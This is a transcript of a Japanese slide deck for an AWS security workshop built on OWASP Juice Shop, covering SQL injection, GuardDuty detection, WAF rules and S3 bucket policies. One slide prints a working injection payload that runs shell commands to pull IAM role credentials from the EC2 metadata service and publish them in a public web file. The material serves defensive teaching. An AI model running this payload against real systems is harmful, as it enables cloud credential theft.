Upgrade to Pro — share decks privately, control downloads, hide ads and more …

AWS×Security ハンズオン勉強会2025 資料(公開用)

AWS×Security ハンズオン勉強会2025 資料(公開用)

この資料は、AWS公式ワークショップやOWASP Juice Shopなどのオープン教材をベースに、キタジーさんと一緒に行ったハンズオン勉強会の資料として作成したものです。内容の一部はAWSの公式Workshopに基づいています。教育・学習目的での活用を想定しています。

※ハンズオン画面や、ハンズオンに使用したymlファイルは2025年2月時点のものです。

Avatar for yuuuka

yuuuka

June 24, 2025
Tweet

More Decks by yuuuka

Other Decks in Technology

Transcript

  1. ハンズオンのお品書き AWS 側でできる⼀般的なウェブ攻撃を検出して防⽌する⽅法を実際にハ ンズオンを⾏って学んでみましょう! • SQL インジェクション を使⽤して OWASP ジュースショップの管理

    者アカウントに侵⼊し、 Amazon EC2 インスタンスに割り当てられ た AWS ID およびアクセス管理 (IAM) ロールから付与された⼀時的 なセキュリティ認証情報を盗む • Amazon GuardDuty がどのようにしてこの攻撃を検出し、その IAM ロールのすべてのアクティブなセッションをその攻撃から⾃動的に 取り消す⽅法 • IAM リソースポリシーと AWS Web Application Firewall (AWS WAF) ルールを組み合わせて、この攻撃を防ぐための保護策
  2. OWASP とは Open Worldwide Application Security Project 主な特徴: - オープンソースのセキュリティ団体

    - Web やモバイルアプリケーション とAPI のセキュリティに特化 - 業界標準として広く認知 提供サービス‧コンテンツ: 1. OWASP Top 10: セキュリティリスクのトッ プ10 をWeb ‧Mobile ‧API に分けて定期的に公開 2. OWASP SAMM: ソフトウェア開発のセキュリ ティ成熟度評価ツール 3. OWASP ZAP: 脆弱性を検出するために無償で利 ⽤可能なセキュリティテストツール 公式サイト: https://owasp.org/
  3. OWASP ジュース ショップとは OWASP Juice Shop は、セキュリティ学習のためのオープン ソースWeb アプリケーション 主な特徴:

    - OWASP Top 10 を含む脆弱性体 験(例: SQL インジェクショ ン、XSS など) - 初⼼者から上級者向けのCTF 形式の 教育ツール - Node.js やDocker で簡単セットアッ プ - ガイドやヒント付きで段階的に学 習 利⽤シーン: 1. セキュリティ教育: 開発者やセキュリティ専⾨家 の学習⽤ 2. ペネトレーションテスト練習: 安全な環境でスキ ル向上 3. CTF イベント: ハッキング競技に活⽤ 4. 意識向上: セキュアコーディングの重要性を体験 公式サイト: https://owasp.org/www-project-juice-shop/
  4. #{global.process.mainModule. require('child_process'). exec('CREDURL=http:/ /169.254.169.254/latest/meta-data/iam/ security-credentials/;TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/ token" -H

    "X-aws-ec2-metadata-token- ttl-seconds: 21600"` && CRED=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" - s $CREDURL | echo $CREDURL$(cat) | xargs -n1 curl -H "X-aws-ec2-metadata- token: $TOKEN") && echo $CRED | json_pp >frontend/dist/frontend/assets/ public/credentials.json')}
  5. SQL インジェクションとは 重⼤なインシデント(事故)に繋がる脆弱性→未だに発⽣ データベースに蓄積された⾮公開情報の閲覧: - 個⼈情報の漏えい 等 データベースの格納データの改ざん、消去: - ウェブページの改ざん、パスワード変更、シ

    ステム停⽌ 等 IPA 安全なウェブサイトの作り⽅: https://www.ipa.go.jp/security/vuln/websecurity/sql.html 認証回避による不正ログイン: - ログインした利⽤者に許可されている全ての 操作を不正に⾏われる ストアドプロシージャ等を利⽤したOS コマン ドの実⾏: - システムの乗っ取り、他への攻撃の踏み台と しての悪⽤ 等
  6. SQL インジェクション攻撃例 攻撃者は⾊々なSQL ⽂を利⽤して被害を拡⼤する 条件偽装: - 『or 1 = 1

    』 等で必ずデータ取得可能 追加情報搾取: - 『--』などのコメントアウトやUNION で別 テーブルやシステムスキーマの情報を取得 データの改ざん‧破壊: - UPDATE やDELETE を発⾏ リソース枯渇‧サービス停⽌: - LIKE 検索の『% 』 - CROSS JOIN で膨⼤なデータ取得 - sleep 系ストアドでコネクションを滞留
  7. SQL インジェクションの対策は? 多層防御の観点から基本的な対策以外も実施を推奨 プレースホルダの利⽤: - 特に静的プレースホルダの利⽤を推奨 - パラメータエスケープは最終⼿段 IPA 安全なウェブサイトの作り⽅:

    https://www.ipa.go.jp/security/vuln/websecurity/sql.html SQL 実⾏アカウントの権限最⼩化: - 参照系なら更新権限の取消 - ストアドの実⾏権限は慎重に付与 エラーメッセージの制御: - SQL やデータベースに関わるエラーログの画 ⾯出⼒を制御 基本的対策 保険的対策
  8. Amazon GuardDuty とは AWS アカウント、ワークロード、データを保護します 継続的モニタリング: - AWS 環境全体の潜在的な脅威を継続的に監視 AI/ML

    を活⽤した脅威の検出: - 異常検出、AI 、ML 、脅威インテリジェン ス、⾏動モデリング 脅威への迅速な対応: - ⾃動分析とカスタマイズされた修復案によ り、脅威の特定、関連付け、対応を実施 スケーラブルなフルマネージド脅威検知: - ⾃動分析で AWS 環境のすべてのアカウントに 脅威検出をスケール 公式ページ: https://aws.amazon.com/jp/guardduty/ @kitaji0306
  9. 今回実施する保護⽅法 1. AWS Web Application Firewall (AWS WAF) を使⽤し て悪質なトラフィックをブロックする

    2. リソースポリシーを使⽤して、リソースへのアクセ スを既知のソースに制限する 3. ⾃動化機能を使⽤して、漏洩した認証情報に対して 即時に制限措置を取る
  10. { "Version": "2008-10-17", "Statement": [ { "Sid": "DenyInsecureConnections", "Effect": "Deny",

    "Principal": "*", "Action": "s3:*", "Resource": [ "arn:aws:s3:::<BUCKET_NAME>", "arn:aws:s3:::<BUCKET_NAME>/*" ], "Condition": { "Bool": { "aws:SecureTransport": "false" } } }, { "Sid": "Access-to-specific-VPCE-only", "Principal": "*", "Action": [ "s3:GetObject*", "s3:PutObject*", "s3:DeleteObject*" ], "Effect": "Deny", "Resource": "arn:aws:s3:::<BUCKET_NAME>/*", "Condition": { "StringNotEquals": { "aws:sourceVpce": "<VPC_ENDPOINT_ID>" } } } ] } 変更するポリシー
  11. { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": "*",

    "Action": [ "s3:GetObject", "s3:PutObject", "s3:ListBucket", "s3:GetBucketPolicy", "s3:GetObjectAcl", "s3:PutObjectAcl", "s3:DeleteObject" ], "Resource": [ "arn:aws:s3:::<BUCKET_NAME>", "arn:aws:s3:::<BUCKET_NAME>/*", "arn:aws:s3:::cloudformation-examples", "arn:aws:s3:::cloudformation-examples/*" ], "Condition": { "ArnEquals": { "aws:PrincipalArn": "<THE_ROLE_ARN>" } } } ] } 変更するポリシー
  12. WAF で出来る事 WAF を導⼊することで多⾓的に防御可能 既知の脆弱性対策: - SQL インジェクションやXSS などの脆弱性に対 して⼀定のレベルまで防御

    未知の脆弱性対策: - 新たに発⾒された脆弱性対策をアプリケー ションの改修なく導⼊可能 多層防御: - 防御策は破られる前提で多層で防御(脆弱性 診断などと併⽤) 攻撃動向の分析: - 検知‧防御したログから攻撃の傾向を分析し 今後の対策検討に活⽤
  13. 1. AWS WAF ACL の関連付けを解除して削除 2. 適⽤した S3 バケットポリシーを削除 3.

    S3 バケットを空にして、すべてのオブジェクトが削除され たことを確認 4. EC2 インスタンス IAM ロールから RevokeOldSessions イン ラインポリシーを削除( ※攻撃実⾏時に削除できている⼈は 対応不要) 5. CloudFormation スタックを削除して Juice Shop EC2 イン スタンスと残りのインスタンスを削除